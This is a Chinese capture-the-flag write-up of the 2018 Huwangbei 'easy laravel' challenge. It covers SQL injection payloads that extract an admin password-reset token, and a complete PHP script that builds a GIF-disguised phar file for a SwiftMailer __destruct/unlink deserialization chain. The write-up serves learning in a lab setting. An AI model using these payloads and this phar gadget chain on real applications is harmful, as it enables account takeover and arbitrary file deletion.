护网杯easy laravel ——Web菜鸡的详细复盘学习
Posted 安恒网络空间安全讲武堂
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了护网杯easy laravel ——Web菜鸡的详细复盘学习相关的知识,希望对你有一定的参考价值。
前言
感谢出题大佬给出的docker环境让本菜鸡有机会复现学到更多@_@
复现让我发现了很多读wp以为懂了动手做的时候却想不通的漏掉的知识点(还是太菜orz),也让我对这道题解题逻辑更加理解。所以不要怂,就是干23333!
* 将复现这道压轴题的过程中遇到的相关知识点的资料也链接到了相应地方
0x01 环境搭建
https://github.com/sco4x0/huwangbei2018easylaravel
//进入dockerfile所在目录
docker build -t 'hwb_easyweb'
//查看是否已成功构建image
docker images
//创建container
docker run -id --name 'my_easyweb' -m '1G' --network='bridge' -p '80':80 'hwb_easyweb'
//查看正在运行的container
docker ps
//查看所有container,包括不在运行的
docker ps -a
//进入容器
docker exec -it 'my_easyweb' /bin/bash
打开Kitematic (win下docker GUI工具)即可快速访问站点
0x02 审计源码
网站是用laravel写的,先熟悉laravel文件才知道该从何看起
可以先在\routes\web.php中查看自定义路由
Route::get('/', function () { return view('welcome'); });
Auth::routes();
Route::get('/home', 'HomeController@index');
Route::get('/note', 'NoteController@index')->name('note');
Route::get('/upload', 'UploadController@index')->name('upload');
Route::post('/upload', 'UploadController@upload')->name('upload');
Route::get('/flag', 'FlagController@showFlag')->name('flag');
Route::get('/files', 'UploadController@files')->name('files');
Route::post('/check', 'UploadController@check')->name('check');
Route::get('/error', 'HomeController@error')->name('error');
这里Auth::routes()是在开发laravel时使用了php artisan make:auth命令,即使用了laravel默认的注册登陆系统后laravel默认提供的一套路由
这套默认路由具体在laravel源码 Illuminate/Routing/Router.php
源码发现的点:
• 可以找到管理员账号邮箱
//\database\factories\ModelFactory.php
$factory->define(App\User::class, function (Faker\Generator $faker) {
static $password;
return [
'name' => '4uuu Nya',
'email' => 'admin@qvq.im',
'password' => bcrypt(str_random(40)), //40位随机数,无法通过爆破得到管理员密码
'remember_token' => str_random(10),
];
});
• 只有当用户邮箱是'admin@qvq.im'时也就是只有admin用户才可以访问upload/file/flag页面
//\app\Http\Middleware\AdminMiddleware.php
public function handle($request, Closure $next)
{
if ($this->auth->user()->email !== 'admin@qvq.im') {
return redirect(route('error'));
}
return $next($request);
}
}
//\app\Http\Controllers\FlagController.php
class FlagController extends Controller
{
public function __construct()
{
$this->middleware(['auth', 'admin']);
}
public function showFlag() //认证为admin时显示flag
{
$flag = file_get_contents('/th1s1s_F14g_2333333');
return view('auth.flag')->with('flag', $flag);
}
}
//...
当然注册时过滤了已注册邮箱(laravel的unique()方法),无法以'admin@qvq.im'注册,这里是没有绕过方法的
//\app\Http\Controllers\Auth\RegisterController.php
protected function validator(array $data)
{
return Validator::make($data, [
'name' => 'required|max:255',
'email' => 'required|email|max:255|unique:users',
'password' => 'required|min:6|confirmed',
]);
}
• 非admin用户只能访问note页面,查询语句或许可以注入
//\app\Http\Controllers\NoteController.php
class NoteController extends Controller
{
public function __construct()
{
$this->middleware('auth');
}
public function index(Note $note)
{
$username = Auth::user()->name;
$notes = DB::select("SELECT * FROM `notes` WHERE `author`='{$username}'"); //可能是注入点
return view('note', compact('notes'));
}
}
0x03 拿到admin账户
从源码上看,无论如何都要拿到admin账户才能有下一步思路,在这里用户不能修改邮箱,但是可以重置密码
//\database\migrations\2014_10_12_100000_create_password_resets_table.php
public function up()
{
Schema::create('password_resets', function (Blueprint $table) {
$table->string('email')->index();
$table->string('token')->index();
$table->timestamp('created_at')->nullable();
});
}
重置{token}对应账户的密码的路由为
$this->get('password/reset/{token}', 'Auth\ResetPasswordController@showResetForm');
所以拿到'admin@qvq.im'账户对应的token即可重置其密码,显然我们可以尝试注入来查询到password_resets中的这个token
注入取得 token
首先尝试验证存在注入存在
然后order by判断列数
order by5时访问note正常
order by6时
所以order=5
接下来确定回显位置 test' union select 1,2,3,4,5#
回显位是2
接下来查询password_resets中的token
test' union select 1,(select token from password_resets where email='admin@qvq.im'),3,4,5#
拿到token= 1dfde2e1f75253e07d05342d1e39819c126d76e5d96ac348255fd772829f93b0 ,接下来根据路由规则访问密码重置页
成功进入admin用户!
0x04 进入后台
访问flag页面发现
但源码里面写的是admin账户访问flag页面就给出flag,题目后来给了提示pop chain和blade expire
看了大佬wp,laravel存在blade过期问题
blade模板
Blade 是 Laravel 提供的一个简单而又强大的模板引擎。和其他流行的 PHP 模板引擎不同,Blade 并不限制你在视图中使用原生 PHP 代码。所有 Blade 视图文件都将被编译成原生的 PHP 代码并缓存起来,除非它被修改,否则不会重新编译,这就意味着 Blade 基本上不会给你的应用增加任何负担。Blade 视图文件使用 .blade.php 作为文件扩展名,被存放在 resources/views 目录。
所以当我们修改了flag的balde模板但是还没有编译使其渲染出新的flag页面,其页面还是没修改时的那个缓存
(如果平时有做laravel开发应该能一下意识到这个问题……orz,所以做web鸡很重要的还是要把开发学好)
所以我们要使新的flag.blade模板渲染出来,就要去删除flag页面旧的缓存,再次访问flag页面的时候就会去重新编译新的flag页面
要想删除旧的缓存页面,要做到两点:
• 找到一个删除方法
• 知道缓存页面文件位置和名字
0x05 利用pop chain删除旧的flag页面缓存
菜鸡如我还理解了半天pop chain的意思orz,总之就是和php的反序列化有关
初探反序列化与POP CHAIN
好,那么什么是POP CHAIN?这里给出我自己的理解:把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。
所以尝试找一个反序列化的地方,到现在为至我们还没用到uploadcontroller
但是并没有使用unserialize()函数的地方,这里的利用反序列化的方法来自2018-8 blackhat会议上讲的一个议题
File Operation Induced Unserialization via the “phar://” Stream Wrapper
利用 phar 拓展 php 反序列化漏洞攻击面
我的理解是,phar文件中以序列化的形式存放了用户自定义的meta-data,在通过phar://伪协议解析phar文件时调用了unserialize()来反序列化meta-data,这样相当于有可以用phar的地方就隐含的调用了unserialize()。
在了解攻击手法之前我们要先看一下phar的文件结构,通过查阅手册可知一个phar文件有四部分构成:
1. a stub
可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。
然后值得注意的地方,phar文件类型的判别不是依赖后缀而是文件最开始stub部分中的结尾__HALT_COMPILER();?>,所以我们可以随意设定phar文件头部部分字节和后缀名,这样能绕开一部分类型检查。
利用条件
1. phar文件要能够上传到服务器端。
2. 要有可用的魔术方法作为“跳板”。
3. 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
查看app\Http\Controllers\UploadController.php发现符合:有上传点,在check方法中没做字符过滤这样就可以参数中包含phar://,类型检测也可以通过改后缀名绕过
//\app\Http\Controllers\UploadController.php
public function check(Request $request) //check方法
{
$path = $request->input('path', $this->path);
$filename = $request->input('filename', null);
if($filename){
if(!file_exists($path . $filename)){ //这里参数完全可控,可以控制调用phar协议
Flash::error('磁盘文件已删除,刷新文件列表');
}else{
Flash::success('文件有效');
}
}
return redirect(route('files'));
}
}
最后看大佬wp中用于构造的phar的脚本模模糊糊理解了,感觉这里思路和pwn里面的ropgadget意思挺像的,我的理解就是在已有的代码资源里面找到可以为自己所调用的片段/函数来利用。
寻找可以达到删除目的的函数
我们要达到删除缓存文件的目的,而这个删除功能要在已有的代码中的函数中找而不是凭空造一个。
怎么找,首先下载的源码里面有composer.json,compose install 安装完所有组件才算有了所有源码(很关键,安装完后的组件在\vendor下),
然后尝试从源码中寻找可以达到删除目的的函数,组件太多不可能把每一个的代码都读一遍,直接搜索可用于删除文件的函数
unlink() 函数删除文件。若成功,则返回 true,失败则返回 false。
//vendor\swiftmailer\swiftmailer\lib\classes\Swift\ByteStream\TemporaryFileByteStream.php
<?php
/*
* This file is part of SwiftMailer.
* (c) 2004-2009 Chris Corbyn
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
/**
* @author Romain-Geissler
*/
class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream
{
public function __construct()
{
$filePath = tempnam(sys_get_temp_dir(), 'FileByteStream');
if ($filePath === false) {
throw new Swift_IoException('Failed to retrieve temporary file name.');
}
parent::__construct($filePath, true);
}
public function getContent()
{
if (($content = file_get_contents($this->getPath())) === false) {
throw new Swift_IoException('Failed to get temporary file content.');
}
return $content;
}
public function __destruct()
{
if (file_exists($this->getPath())) {
@unlink($this->getPath()); //这里使用了unlink方法
}
}
}
//vendor\swiftmailer\swiftmailer\lib\classes\Swift\ByteStream\FileByteStream.php
public function getPath()
{
return $this->_path; //返回接收文件的路径
}
这处unlink接受要删除的文件路径作为参数,而且在魔术方法_destruct()里,这就是我们的pop chain。这样我们可以新建`SwiftByteStream_TemporaryFileByteStream`类,将旧的flag页面的路径(上面找到的)布置进去,生成phar,然后phar://伪协议访问该文件,文件结束时自动调用__destruct()相当于调用unlink函数删除了缓存文件达到目的。
理解php对象注入
你可以看到,我们创建了一个对象,序列化了它(然后__sleep被调用),之后用序列化对象重建后的对象创建了另一个对象,接着php脚本结束的时候两个对象的__destruct都会被调用。
缓存文件位置和名字
文件名字
在api文档里面找呀找
https://laravel.com/api/5.4/Illuminate/View/Compilers/Compiler.html#method_getCompiledPath
https://github.com/laravel/framework/blob/5.4/src/Illuminate/View/Compilers/Compiler.php#L49
https://laravel.com/api/5.4/Illuminate/View/Compilers/BladeCompiler.html
$path就是渲染的blade文件的path
那么网站目录在服务器上什么位置呢?发现admin有条note
nginx默认则是指向 /usr/share/nginx/html
所以 $path=/usr/share/nginx/html/resources/views/auth/flag.blade.php
sha1($path)=34e41df0934a75437873264cd28e2d835bc38772.php
审计源码发现相对网站目录blade缓存在/storage/framework/views
//\config\view.php
/*
|--------------------------------------------------------------------------
| Compiled View Path
|--------------------------------------------------------------------------
|
| This option determines where all the compiled Blade templates will be
| stored for your application. Typically, this is within the storage
| directory. However, as usual, you are free to change this value.
|
*/
'compiled' => realpath(storage_path('framework/views')),
];
所以缓存所在路径 /usr/share/nginx/html/storage/framework/views
所以按照源码,flag.blade.php的缓存文件在
/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php
构造一个phar包
下面来尝试构建一个exp.php(放在vendor文件夹下
首先 PHP autoload 机制详解
<?php
include('autoload.php');
试着序列化一个Swift_ByteStream_TemporaryFileByteStream 然后打出来看看 php-序列化(serialize)格式详解
$a = serialize(new Swift_ByteStream_TemporaryFileByteStream());
var_dump(unserialize($a));
var_dump($a);
所以利用正则将旧缓存路径以及路径字符串长度布置进去 正则表达式
$a = preg_replace('/C:.*tmp/', "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php", $a);
$a = str_replace('s:45', 's:90', $a);
接下来就是构造一个phar包 初探phar:// (*注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。)
var_dump(unserialize($a));
$b = unserialize($a);
$p = new Phar('./exp.phar', 0); //生成的exp.phar在网站根目录下不在vendor下
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($b);
$p->addFromString('test.txt','text');
$p->stopBuffering();
将拿到的exp.phar修改后缀名为exp.gif并上传
//完整脚本
<?php
include('autoload.php');
$a = serialize(new Swift_ByteStream_TemporaryFileByteStream());
$a = preg_replace('/C:.*tmp/', "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php", $a);
$a = str_replace('s:45', 's:90', $a);
var_dump(unserialize($a));
$b = unserialize($a);
$p = new Phar('./exp.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($b);
$p->addFromString('test.txt','text');
$p->stopBuffering();
?>
构造post参数调用phar://协议
读源码可以找到上传路径/storage/app/public
//app\Http\Controllers\UploadController.php
class UploadController extends Controller
{
public function __construct()
{
$this->middleware(['auth', 'admin']);
$this->path = storage_path('app/public');
}
又因为nginx是默认配置所以完整路径是/usr/share/nginx/html/storage/app/public
check时抓包会发现只有file参数不过源码里面可以看见其实还隐含了path参数
//\app\Http\Controllers\UploadController.php
$path = $request->input('path', $this->path);
$filename = $request->input('filename', null);
if($filename){
if(!file_exists($path . $filename)){
加入path参数拼接直接使用phar伪协议访问了exp.gif
然后再查看flag页面,即可看到新的flag页面出现了flag
参考学习的大佬wp
护网杯2018 easy_laravel出题记录 题出的真的好,学到了很多,疯狂膜大大
by 一叶飘零 膜师傅
by venenof 膜师傅
by kingkk 膜师傅
by shaobaobaoer 膜师傅
以上是关于护网杯easy laravel ——Web菜鸡的详细复盘学习的主要内容,如果未能解决你的问题,请参考以下文章